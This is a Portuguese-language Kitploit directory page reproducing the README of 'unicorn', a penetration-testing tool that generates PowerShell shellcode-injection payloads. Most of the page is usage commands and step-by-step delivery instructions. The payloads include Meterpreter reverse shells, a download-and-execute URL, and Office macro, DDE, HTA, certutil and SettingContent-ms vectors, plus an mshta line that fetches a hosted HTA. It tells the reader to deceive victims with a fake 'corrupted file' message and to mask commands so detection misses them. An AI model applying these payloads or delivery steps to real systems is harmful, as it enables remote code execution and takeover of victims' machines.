Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
unicorn — Unicorn é uma ferramenta simples para usar um ataque de downgrade do PowerShell e injetar shellcode diretamente na memória. Baseado nos ataques PowerShell de Matthew Graeber e na técnica de bypass do PowerShell apresentada por David Kennedy (TrustedSec) e Josh Kelly na Defcon 18. | Kitploit
Ferramentas/GitHubGitHub/trustedsec/unicorn
Ferramentas de PhishingFrameworks de ExploraçãoGeração de PayloadsEvasão de IDS/IPSShellcodeExploração de Aplicações WebTestes de PenetraçãoComando e ControleEngenharia SocialDesenvolvimento de Payloads
GitHubtrustedsec/unicorn
3.9k823há 2 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

unicorn

Unicorn é uma ferramenta simples para usar um ataque de downgrade do PowerShell e injetar shellcode diretamente na memória. Baseado nos ataques PowerShell de Matthew Graeber e na técnica de bypass do PowerShell apresentada por David Kennedy (TrustedSec) e Josh Kelly na Defcon 18.

Ver RepositórioSite

unicorn

Escrito por: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com

Magic Unicorn é uma ferramenta simples para usar um ataque de downgrade do PowerShell e injetar shellcode diretamente na memória. Baseado nos ataques PowerShell de Matthew Graeber e na técnica de bypass do PowerShell apresentada por David Kennedy (TrustedSec) e Josh Kelly no Defcon 18.

O uso é simples, basta executar o Magic Unicorn (certifique-se de que o Metasploit esteja instalado se estiver usando métodos do Metasploit e no caminho correto) e o magic unicorn gerará automaticamente um comando PowerShell que você precisa apenas copiar e colar o código PowerShell em uma janela de linha de comando ou através de um sistema de entrega de payload. O Unicorn suporta seu próprio shellcode, cobalt strike e Metasploit.

root@kitploit:~
root@rel1k:~/Desktop# python unicorn.py 

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn Attack Vector -----------------------------

Ataques de injeção nativa do PowerShell x86 em qualquer plataforma Windows.
Escrito por: Dave Kennedy na TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Créditos: Matthew Graeber, Justin Elze, Chris Gates

Felizes Magic Unicorns.

Uso: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
Exemplo PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Exemplo Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Exemplo Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Exemplo Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Exemplo HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Exemplo HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Exemplo HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Exemplo DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Exemplo CRT: python unicorn.py <path_to_payload/exe_encode> crt
Exemplo PS1 Personalizado: python unicorn.py <path to ps1 file>
Exemplo PS1 Personalizado: python unicorn.py <path to ps1 file> macro 500
Exemplo Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (exportar CS no formato C#)
Shellcode Personalizado: python unicorn.py <path_to_shellcode.txt> shellcode (formatado 0x00)
Menu de Ajuda: python unicorn.py --help

-----INSTRUÇÕES DO ATAQUE POWERSHELL----

Tudo agora é gerado em dois arquivos, powershell_attack.txt e unicorn.rc. O arquivo de texto contém todo o código necessário para injetar o ataque PowerShell na memória. Observe que você precisará de um local que suporte injeção remota de comandos de alguma forma. Muitas vezes isso pode ser através de um documento do excel/word ou através de comandos psexec dentro do Metasploit, SQLi, etc. Existem inúmeras implicações e cenários onde você pode usar este ataque. Basta colar o comando do powershell_attack.txt em qualquer janela de prompt de comando ou onde você tenha a capacidade de chamar o executável do PowerShell e ele lhe dará um shell de volta. Este ataque também suporta windows/download_exec como método de payload em vez de apenas payloads do Meterpreter. Ao usar o download e exec, basta colocar python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe e o código PowerShell baixará o payload e o executará.

Observe que você precisará ter um listener ativo para capturar o ataque.

-----INSTRUÇÕES DO ATAQUE MACRO----

Para o ataque de macro, você precisará ir em Arquivo, Propriedades, Faixa de Opções e selecionar Desenvolvedor. Depois de fazer isso, você terá uma guia Desenvolvedor. Crie uma nova macro, chame-a de Auto_Open e cole o código gerado nela. Isso será executado automaticamente. Observe que uma mensagem será exibida para o usuário informando que o arquivo está corrompido e fechará automaticamente o documento do Excel. ISSO É COMPORTAMENTO NORMAL! Isso está enganando a vítima, fazendo-a pensar que o documento do Excel está corrompido. Você deve obter um shell através da injeção do PowerShell após isso.

Se você estiver implantando isso contra versões do Office365/2016+ do Word, você precisa modificar a primeira linha da saída de: Sub Auto_Open()

Para: Sub AutoOpen()

O nome da macro em si também deve ser "AutoOpen" em vez do esquema de nomenclatura legado "Auto_Open".

NOTA: AO COPIAR E COLAR O EXCEL, SE ESPAÇOS ADICIONAIS FOREM ADICIONADOS, VOCÊ PRECISA REMOVÊ-LOS APÓS CADA UMA DAS SEÇÕES DO CÓDIGO POWERSHELL SOB A VARIÁVEL "x" OU OCORRERÁ UM ERRO DE SINTAXE!

-----INSTRUÇÕES DO ATAQUE HTA----

O ataque HTA gerará automaticamente dois arquivos, o primeiro é o index.html que informa ao navegador para usar o Launcher.hta que contém o código malicioso de injeção do PowerShell. Todos os arquivos são exportados para a pasta hta_access/ e haverá três arquivos principais. O primeiro é index.html, o segundo Launcher.hta e o último, o arquivo unicorn.rc. Você pode executar msfconsole -r unicorn.rc para iniciar o listener do Metasploit.

Um usuário deve clicar em permitir e aceitar ao usar o ataque HTA para que a injeção do PowerShell funcione corretamente.

-----INSTRUÇÃO DO ATAQUE CERTUTIL----

O vetor de ataque certutil foi identificado por Matthew Graeber (@mattifestation) que permite pegar um arquivo binário, convertê-lo para o formato base64 e usar o certutil na máquina da vítima para convertê-lo de volta para binário. Isso deve funcionar em praticamente qualquer sistema e permitir que você transfira um binário para a máquina da vítima através de um arquivo de certificado falso. Para usar este ataque, basta colocar um executável no caminho do unicorn e executar python unicorn.py <exe_name> crt para obter a saída base64. Depois de pronto, vá para a pasta decode_attack/ que contém os arquivos. O arquivo bat é um comando que pode ser executado em uma máquina Windows para convertê-lo de volta para binário.

-----Instruções do Ataque PS1 Personalizado----

Este método de ataque permite converter qualquer arquivo PowerShell (.ps1) em um comando codificado ou macro.

Observe que, se escolher a opção de macro, um arquivo ps1 grande pode exceder a quantidade de retornos de carro permitidos pelo VBA. Você pode alterar o número de caracteres em cada string VBA passando um inteiro como parâmetro.

Exemplos:

root@kitploit:~
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

O último usará uma string de 500 caracteres em vez do padrão de 380, resultando em menos retornos de carro no VBA.

-----Instruções do Ataque DDE Office COM----

Este vetor de ataque gerará a fórmula DDEAUTO para colocar no Word ou Excel. O objeto COM DDEInitilize e DDEExecute permitem que fórmulas sejam criadas diretamente dentro do Office, o que possibilita a execução remota de código sem a necessidade de macros. Este ataque foi documentado e instruções completas podem ser encontradas em:

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Para usar este ataque, execute os seguintes exemplos:

root@kitploit:~
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

Uma vez gerado, um arquivo powershell_attack.txt será gerado contendo o código do Office, e o arquivo unicorn.rc que é o componente do listener que pode ser chamado por msfconsole -r unicorn.rc para lidar com o listener do payload. Além disso, um download.ps1 também será exportado (explicado na seção posterior).

Para aplicar o payload, como exemplo (do artigo do sensepost):

  1. Abra o Word
  2. Guia Inserir -> Partes Rápidas -> Campo
  3. Escolha = (Fórmula) e clique em ok.
  4. Uma vez que o campo é inserido, você deve ver agora "!Unexpected End of Formula"
  5. Clique com o botão direito no campo, escolha "Alternar Códigos de Campo"
  6. Cole o código do Unicorn
  7. Salve o documento do Word.

Assim que o documento do Office for aberto, você deve receber um shell através da injeção do PowerShell. Observe que o DDE tem limitação de tamanho de caracteres e precisamos usar Invoke-Expression (IEX) como método para download.

O ataque DDE tentará baixar o download.ps1 que é nosso ataque de injeção do PowerShell, pois estamos limitados por restrições de tamanho. Você precisará mover o download.ps1 para um local acessível pela máquina da vítima. Isso significa que você precisa hospedar o download.ps1 em um diretório do Apache2 a que ela tenha acesso.

Você pode notar que alguns comandos usam "{ QUOTE" que são formas de mascarar comandos específicos, documentado aqui: http://staaldraad.github.io/2017/10/23/msword-field-codes/. Neste caso, estamos alterando WindowsPowerShell, powershell.exe e IEX para evitar detecção. Confira também a URL, pois ela possui ótimos métodos para não chamar o DDE.

-----Importar Beacon do Cobalt Strike----

Este método importará diretamente o shellcode do Beacon do Cobalt Strike a partir do Cobalt Strike.

Dentro do Cobalt Strike, exporte a exportação "CS" (C#) do Cobalt Strike e salve-a em um arquivo. Por exemplo, chame o arquivo de cobalt_strike_file.cs.

O código de exportação será algo assim:

  • length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc

Em seguida, para uso:

root@kitploit:~
python unicorn.py cobalt_strike_file.cs cs

O argumento cs informa ao Unicorn que você deseja usar a funcionalidade do Cobalt Strike. O resto é mágica.

Em seguida, copie o comando PowerShell para algo onde você tenha capacidade de execução remota de comandos.

NOTA: O ARQUIVO DEVE SER EXPORTADO NO FORMATO C# (CS) DENTRO DO COBALT STRIKE PARA SER ANALISADO CORRETAMENTE.

Existem algumas ressalvas com este ataque. Observe que o tamanho do payload será um pouco acima de 14k+ em bytes. Isso significa que, do ponto de vista do argumento de linha de comando, se você copiar e colar, atingirá o limite de tamanho de 8191 caracteres (codificado no cmd.exe). Se você estiver inicializando diretamente do cmd.exe, isso é um problema; no entanto, se estiver inicializando diretamente do PowerShell ou de outros aplicativos normais, isso não é um problema.

Alguns exemplos aqui, wscript.shell e powershell usam USHORT - 65535 / 2 = 32767 de limite de tamanho:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

Para este ataque, se você estiver inicializando diretamente do PowerShell, VBSCript (WSCRIPT.SHELL), não há problemas.

-----Método de Geração de Shellcode Personalizado----

Este método permitirá que você insira seu próprio shellcode no ataque do Unicorn. O código PowerShell aumentará o tamanho da pilha do powershell.exe (através do VirtualAlloc) e o injetará na memória.

Observe que, para que isso funcione, seu arquivo txt para o qual você aponta o Unicorn deve estar formatado no seguinte formato ou não funcionará:

0x00,0x00,0x00 e assim por diante.

Observe também que existem restrições de tamanho. O comprimento total do comando PowerShell não pode exceder o tamanho de 8191. Este é o limite máximo de tamanho de argumento de linha de comando no Windows.

Uso:

root@kitploit:~
python unicorn.py shellcode_formatted_properly.txt shellcode

Em seguida, copie o comando PowerShell para algo onde você tenha capacidade de execução remota de comandos.

NOTA: O ARQUIVO DEVE SER DEVIDAMENTE FORMATADO EM UM FORMATO 0x00,0x00,0x00 SEM NADA MAIS ALÉM DO SEU SHELLCODE NO ARQUIVO TXT.

Existem algumas ressalvas com este ataque. Observe que, se o tamanho do seu payload for grande por natureza, ele não caberá no cmd.exe. Isso significa que, do ponto de vista do argumento de linha de comando, se você copiar e colar, atingirá o limite de tamanho de 8191 caracteres (codificado no cmd.exe). Se você estiver inicializando diretamente do cmd.exe, isso é um problema; no entanto, se estiver inicializando diretamente do PowerShell ou de outros aplicativos normais, isso não é um problema.

Alguns exemplos aqui, wscript.shell e powershell usam USHORT - 65535 / 2 = 32767 de limite de tamanho:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

Para este ataque, se você estiver inicializando diretamente do PowerShell, VBSCript (WSCRIPT.SHELL), não há problemas.

-----Método de Extensão SettingContent-ms----

Primeiro, se você ainda não teve a chance, vá ao incrível blog da SpectreOps de Matt Nelson (enigma0x3):

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

Este método usa um tipo de arquivo específico chamado ".SettingContent-ms" que permite tanto carregamentos diretos de navegadores (abrir + execução de comando) quanto tipo de extensão através de incorporação em produtos do Office. Este aqui focará especificamente nas configurações de tipo de extensão para execução de comandos dentro do vetor de ataque PowerShell do Unicorn.

Existem múltiplos métodos suportados com este vetor de ataque. Como há um limite de tamanho de caracteres com este ataque, o método de implantação é um HTA.

Para uma compreensão detalhada sobre como transformar este ataque em arma, visite:

https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

As etapas que você precisará fazer para concluir este ataque é gerar seu arquivo .SettingContent-ms a partir de um standalone ou hta. O método HTA suporta Metasploit, Cobalt Strike e ataques diretos de shellcode.

Os quatro métodos abaixo sobre uso:

HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Exemplo SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Exemplo SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Gerar .SettingContent-ms: python unicorn.py ms

O primeiro é um payload Metasploit, o segundo um Cobalt Strike, o terceiro seu próprio shellcode e o quarto apenas um arquivo .SettingContent-ms em branco.

Quando tudo é gerado, exportará um arquivo chamado Standalone_NoASR.SettingContent-ms, seja no diretório raiz padrão do Unicorn (se estiver usando a geração de arquivo standalone) ou na pasta hta_attack/. Você precisará editar o arquivo Standalone_NoASR.SettingContent-ms e substituir:

REPLACECOOLSTUFFHERE

Por:

mshta http://<apache_server_ip_or_dns_name/Launcher.hta.

Em seguida, mova o conteúdo da hta_attack para /var/www/html.

Assim que a vítima clicar no arquivo .SettingContent-ms, o mshta será chamado na máquina da vítima e então baixará o arquivo HTA do Unicorn que tem as capacidades de execução de código.

Agradecimentos especiais e parabéns a Matt Nelson pela pesquisa incrível.

Confira também: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

Uso:

root@kitploit:~
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms
Baixar ferramenta